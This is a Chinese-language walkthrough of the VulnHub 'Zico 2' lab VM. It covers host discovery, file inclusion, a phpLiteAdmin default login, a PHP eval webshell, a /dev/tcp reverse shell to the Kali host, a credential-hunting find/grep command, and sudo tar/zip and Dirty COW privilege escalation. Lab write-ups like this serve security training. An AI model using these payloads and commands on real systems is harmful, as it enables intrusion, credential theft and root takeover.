Zico 2 靶机 - 详细流程

  • ✨ 准备工作


  1. 靶机 && kali 环境要求

    机器名网络配置
    靶机Zico 2NAT 模式
    攻击机kaliNAT 模式
  2. 靶机下载链接:zico2: 1 ~ VulnHub   

  3. 打开 VMware,将 zico2.ova 拖拽到 VMware

  4. 设置 虚拟机名称(A) - 存储路径(P)- 导入  

  5. 若是,提示出错,点击重试即可

  6. 启动虚拟机,等待安装完成

  7. 启动成功

  8. 右击靶机 - 设置  

  9. 修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击确定

  10. 关闭虚拟机,重复上述操作(8)

  11. 点击  高级,查看MAC地址 - 确定  

  12. 为了防止干扰,这里我将 网络适配器2 的网卡移除

  13. 打开虚拟机

  • ☄️ 信息收集


  1. 确定NAT网段

  2. 可以看到NAT是192.168.49.0/24网段的

  3. kali 执行

    sudo nmap -sn -PR 192.168.49.0/24

  4. 发现靶机IP为:192.168.49.129

  5. 端口扫描:nmap -sV -p- 192.168.49.129      

  6. 发现开启了 22,80 和 111 以及 54476 端口,尝试访问 80 端口,发现如下页面

  • 🌠 获取shell


  1. 在页面下方,发现一个功能点并点击,发现其 URL 具有文件包含漏洞的特征(文件?参数=页面

  2. 第一时间尝试文件包含读取,将 tools.html  替换为  ../../../../../../../../../../etc/passwd  ,确认存在文件包含漏洞。

  3. 继续寻找功能点,发现可见功能点少的可伶,进行目录扫描,找到一个后台登录界面

    dirsearch -u "http://192.168.49.129/"# 登录界面:
    http://192.168.49.129/dbadmin/test_db.php

  4. 发现是 PHPLiteAdmin ,使用默认密码 admin进行登录, 登陆成功!

    # 密码
    admin

  5. 版本是1.9.3 ,并且首页包含了其绝对路径,这对我们的漏洞复现会有帮助(复现可以参考一下这篇文章:phpliteadmin <= 1.9.3 远程php代码执行漏洞测试_网络安全|最新Exploit分析的技术博客_51CTO博客 )

  6. 第一步:创建数据库 test.php   (名字任意,带 .php 就行)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php# Create New Databas
    test.php

  7. 第二步:点击我们新创建的数据库,创建数据表 test_table (这里名字和数量任意)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?switchdb=%2Fusr%2Fdatabases%2Ftest_users# Name
    test_table# Number of Fields
    1

  8. 第三步:写入内容(Field任意,Type为 TEXT,Default Value 处填写我们的恶意语句 <注意:恶意语句不能带任何引号>

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?action=table_create# Field
    test_content# Type
    TEXT# Default Value
    <?php @eval($_POST[cmd])?>

  9. 第四步:写入成功,根据上面提示的绝对路径和任意文件读取漏洞,使用蚁剑进行连接

  10. 确认权限,是一个Web服务用户

  11. 生成反弹shell的语句,在线链接:反弹shell生成器 (ywhack.com)    ,这里我将其反弹到 kali

    # 监听语句
    sudo nc -lvnp 555# 执行反弹shell的命令
    /bin/bash -c '生成的语句'# 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.49.131/555 0>&1'

  12. 反弹成功

  • 💫 权限提升(3)


  1. 通过命令查看,确认该靶机可登录的用户有 rootzico

    grep '/bin/bash$' /etc/passwd

  2. 查找可能包含密码的文件,发现 /home/zico/wordpress/wp-config.php 比较可疑

    find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null# 说明
    从根目录开始查找所有可读的文件,筛选出包含特定关键词("user"、"username"、"passwd" 或 "password")的文件
    然后在这些文件中查找包含另一个关键词("zico")的行,
    最终输出匹配行的文件名和行号,并且在过程中忽略权限错误。# PS:zico 为可登录的用户名

  3. 查看该文件,发现 zico 用户的账户和密码

    cat /home/zico/wordpress/wp-config.php# 账号
    zico# 密码
    sWfCsfJSPV9H3AmQzw8

  4. 另起终端,使用 ssh 登录

    ssh zico@192.168.49.129# 密码
    sWfCsfJSPV9H3AmQzw8

  5. Sudo 提权(2 )&& 脏牛提权(1)

    提权方式详细说明

    方式一:Sudo 提权(2)

    • 列出当前用户拥有sudo权限的命令

    • sudo -l

      sudo -l

    • 发现拥有sudo权限的是 tarzip ,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins  ;

      tar 提权

      • 输入tar  - 点击 Sudo

        tar

      • 复制并执行这条命令,提权成功

        sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

      zip 提权

      • 输入zip  - 点击 Sudo

        zip# 临时文件TF=$(mktemp -u)/tmp/147.zip# 提权 (将/etc/hosts文件压缩到 /tmp/111.zip 文件中)sudo zip $TF /etc/hosts -T -TT 'sh #'sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'sudo rm /tmp/147.zip

      • 修改并执行命令,提权成功

        sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'

    方式二:脏牛提权

    • 查看靶机的系统版本

      uname -r

    • 发现是3.2.0-23 版本,介于 2.6.22 < x < 3.9  ,尝试进行脏牛提权

    • 在蚁剑的 数据管理 中选中建立的连接,右键 - 选择文件管理, 查看文件

    • 下载链接:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)   

    • 若官网不可用,也可以在github任找一个,例:NIMOS/exploit/exploit-db/40839.c at 2c451f84893956f6ef90d689c20062bb073e865d · sominsong/NIMOS (github.com)    ,

    • 将提权文件拖拽到网站目录下(默认路径:/var/www 没有权限,所以我们随便点到 /var/www 目录下的任意文件夹就可以上传了)

    • 切换到当前目录,编译执行,并输入要设置的密码

      # 切换目录(你上传的目录)
      cd /var/www/css# 查看当前目录
      ls# 编译 40839.c ,输出可执行文件 40839 
      gcc -pthread 40839.c -o 40839 -lcrypt# 执行
      ./40839# 输入要设置的密码(这里我输入123456)
      123456

    • 添加 高权限 firefart 用户 成功

    • PS:这里添加成功后可能会卡住,卡住也没关系,这里我们需要登录之前找到的 zico 用户 来切换用户(当前终端无法切换用户)

      ssh zico@192.168.49.129# 密码
      sWfCsfJSPV9H3AmQzw8# 切换用户
      su firefart# 输入你设置的密码
      123456# 提权成功

  6. 提权成功,查找flag

    find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null# 说明
    从 /root 目录下查找 文件名或文件内容包含 flag 的文件 (一般flag都在root下,你也可以改为 / ,从根目录开始找)

  7. 附Falg位置: /root/flag.txt   ,

    cat /root/flag.txt

  • 🌌 总结


  1. 流程:主机发现 - 信息收集 - Web渗透 -  获取shell - 权限提升
  2. Web渗透
    1. 当发现 文件?参数=页面 类型,甚至是 文件?参数 ,请第一时间尝试文件包含;

    2. 判明框架网站使用某套框架和特殊的软件时,请第一时间搜索 Nday;

    3. 寻找密码的语句可以在获取 shell 后,尝试运行一下,有时会有意想不到的效果;

      find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    4. 当某个目录拖不进文件时,可以换它的子目录或父目录,因为只是当前目录没有写的权限罢了;

    5. 寻找 Flag 的语句(每次手动翻太麻烦了,这次直接写个查询语句,以后方便用)

      find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/450880.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android复杂问题分析工具bugreportz详解

文章目录 bugreportz详细介绍功能与作用使用方法生成详细报告检查进度bugreportz 的优势分析报告 如何分析1. 解压 ZIP 文件2. 分析主要文件2.1 bugreport.txt2.2 logcat.txt2.3 kernel.log / last_kmsg2.4 events.log2.5 traces.txt2.6 dumpstate_board.txt 3. 工具支持4. 重点…

《深度学习》OpenCV 光流估计 原理、案例解析

目录 一、光流估计 1、什么是光流估计 2、原理 3、光流估计算法 1&#xff09;基于局部方法 2&#xff09;和基于全局方法 4、光流估计的前提 1&#xff09;亮度恒定 2&#xff09;小运动 3&#xff09;空间一致 二、案例实现 1、读取视频 2、特征检测 3、处理每…

案例实践 | 以长安链为坚实底层,江海链助力南通民政打造慈善应用标杆

案例名称-江海链 ■ 实施单位 中国移动通信集团江苏有限公司南通分公司、中国移动通信集团江苏有限公司 ■ 业主单位 江苏省南通市民政局 ■ 上线时间 2023年12月 ■ 用户群体 南通市民政局、南通慈善总会等慈善组织及全市民众 ■ 用户规模 全市近30家慈善组织&#…

【RoadRunner】自动驾驶模拟3D场景构建 | 软件简介与视角控制

&#x1f4af; 欢迎光临清流君的博客小天地&#xff0c;这里是我分享技术与心得的温馨角落 &#x1f4af; &#x1f525; 个人主页:【清流君】&#x1f525; &#x1f4da; 系列专栏: 运动控制 | 决策规划 | 机器人数值优化 &#x1f4da; &#x1f31f;始终保持好奇心&…

秋招突击——8/6——万得数据面试总结

文章目录 引言正文面经整理一1、讲一下java的多态&#xff0c;重载&#xff0c;重写的概念&#xff0c;区别2、说一下Java的数组&#xff0c;链表的结构&#xff0c;优缺点3、创建java线程的方式有哪些&#xff0c;具体说说4、创建线程池呢、每个参数的意义5、通过那几种方式保…

普通索引和唯一索引,应该怎么选择?

普通索引和唯一索引&#xff0c;应该怎么选择&#xff1f; 普通索引&#xff0c;不能保证字段的唯一性&#xff0c;所以普通索引会比唯一索引要多N次判断&#xff0c;比如判断下一条记录是否和目标相同。 InnoDB的数据其实是按页来取的&#xff0c;也就是说要拿到某一个数据&a…

AndroidStudio配置MQTT连接云平台EMQX

引言 本篇博客主要介绍mqtt和emqx配置连接实现数据收发&#xff0c;我会从基础的本机连接到手机和本机连接再到手机实现mqtt连接云平台&#xff0c;大家可以根据需要自行选择观看&#xff08;后面两个教程都建立在mqtt和emqx下载完成的基础上&#xff0c;若没有下载完成&#x…

黎巴嫩爆炸事件分析:硬件国产自主可控的意义

黎巴嫩近期发生的寻呼机爆炸事件&#xff0c;不仅对当地社会造成了冲击&#xff0c;也在全球范围内引发了对通信设备安全性的深刻反思。这一事件凸显了在全球化背景下&#xff0c;电子产品安全性的重要性&#xff0c;以及自主可控技术在保障国家安全和公共安全中的关键作用。 …

DataWhale10月动手实践——Bot应用开发task02学习笔记

一、Prompt工程 之前有接触过一些Prompt工程的内容&#xff0c;也做过一些简单的应用&#xff0c;比如使用langchain和Openai库自己搭建了一个助手项目&#xff0c;但是还从未关注过在智能体方面的Prompt。在这篇博客中&#xff0c;我会将我之前掌握的和在本次任务学习中掌握的…

【C++】在Windows中使用Boost库——实现TCP、UDP通信

目录 一、编译Boost库 二、TCP服务端 三、TCP客户端 四、UDP连接 一、编译Boost库 1. 先去官网下载Boost库源码 2. 点击下载最新的版本 下载Windows环境的压缩包&#xff0c;然后解压 3. 在解压后的目录路径下找到“bootstrap.bat” 打开控制台&#xff0c;在“bootstrap.…

ROS2 常用工具之Launch -- 启动管理工具

基于上一篇的action代码上继续&#xff0c;链接如上&#xff1a; ROS2 通信三大件之动作 -- Action-CSDN博客 参考链接&#xff1a;ROS2——教你写新版Launch文件 | 范子琦的博客 1、创建文件 src/action_moudle/launch/action_launch.launch.py 路径下创建文件action_lau…

腾讯六宫格本地识别,本地模型识别,腾讯六图识别

基于K哥爬虫昨天发的文章&#xff0c;特此训练了一版腾讯模型&#xff0c;效果不错&#xff0c;特此感谢K哥的指导&#xff0c;效果如下图: 有需求&#xff0c;有疑问的欢迎评论区点出

尚硅谷大数据Flink1.17实战教程-笔记04【Flink DataStream API】

尚硅谷大数据技术-教程-学习路线-笔记汇总表【课程资料下载】视频地址&#xff1a;尚硅谷大数据Flink1.17实战教程从入门到精通_哔哩哔哩_bilibili 尚硅谷大数据Flink1.17实战教程-笔记01【Flink 概述、Flink 快速上手】尚硅谷大数据Flink1.17实战教程-笔记02【Flink 部署】尚硅…

【Spring篇】初识之Spring的入门程序及控制反转与依赖注入

&#x1f9f8;安清h&#xff1a;个人主页 &#x1f3a5;个人专栏&#xff1a;【计算机网络】&#xff0c;【Mybatis篇】 &#x1f6a6;作者简介&#xff1a;一个有趣爱睡觉的intp&#xff0c;期待和更多人分享自己所学知识的真诚大学生。 文章目录 &#x1f3af;初始Spring …

【K8S系列】Kubernetes pod节点NotReady问题及解决方案详解【已解决】

Kubernetes 集群中的每个节点都是运行容器化应用的基础。当节点状态显示为 NotReady 时&#xff0c;意味着该节点无法正常工作&#xff0c;这可能会导致 Pod 无法调度&#xff0c;从而影响整个应用的可用性。本文将深入分析节点不健康的各种原因、详细的排查步骤以及有效的解决…

查看SQL执行计划 explain

查看SQL执行计划 explain explain使用方式 alter session set current_schematest; explain plan for sql语句; --并不会实际执行&#xff0c;因此生成的执行计划也是预估的 select * from table(dbms_xplan.display); explain使用场景 1.内存中没有谓词信息了&#xff0…

MySQL从入门到跑路

SQL语言 SQL&#xff08;Structured Query Language&#xff0c;结构化查询语言&#xff09;是用于管理和操作关系数据库的一种标准编程语言。 SQL分类&#xff1a; DDL(Data Definition Language)&#xff1a;数据定义语言&#xff0c;用于操作数据库、表、字段&#xff0c…

前端文件流导出

1、前端代码 ​ /** 导出 */ const handleExport async () > {let config {responseType: blob,headers: {Content-Type: application/json,},};const res await getTargetExport(config);const blob new Blob([res]);const fileName PK目标跟进导出列表.xls;const li…

SpringBoot整合Freemarker(一)

Freemarker和jsp一样是一个视图的引擎模板&#xff0c;其实所有的模板引擎的工作原理都是类似的&#xff0c;如下图&#xff1a; 接下来就具体讲解一下Freemarker的用法&#xff0c;参考手册&#xff1a;模板 数据模型 输出 - FreeMarker 中文官方参考手册 SpringBoot默认就…

【浏览器】如何正确使用Microsoft Edge

1、清理主页广告 如今的Microsoft Edge 浏览器 主页太乱了&#xff0c;各种广告推送&#xff0c;点右上角⚙️设置&#xff0c;把快速链接、网站导航、信息提要、背景等全部关闭。这样你就能得到一个超级清爽的主页。 网站导航       关闭 …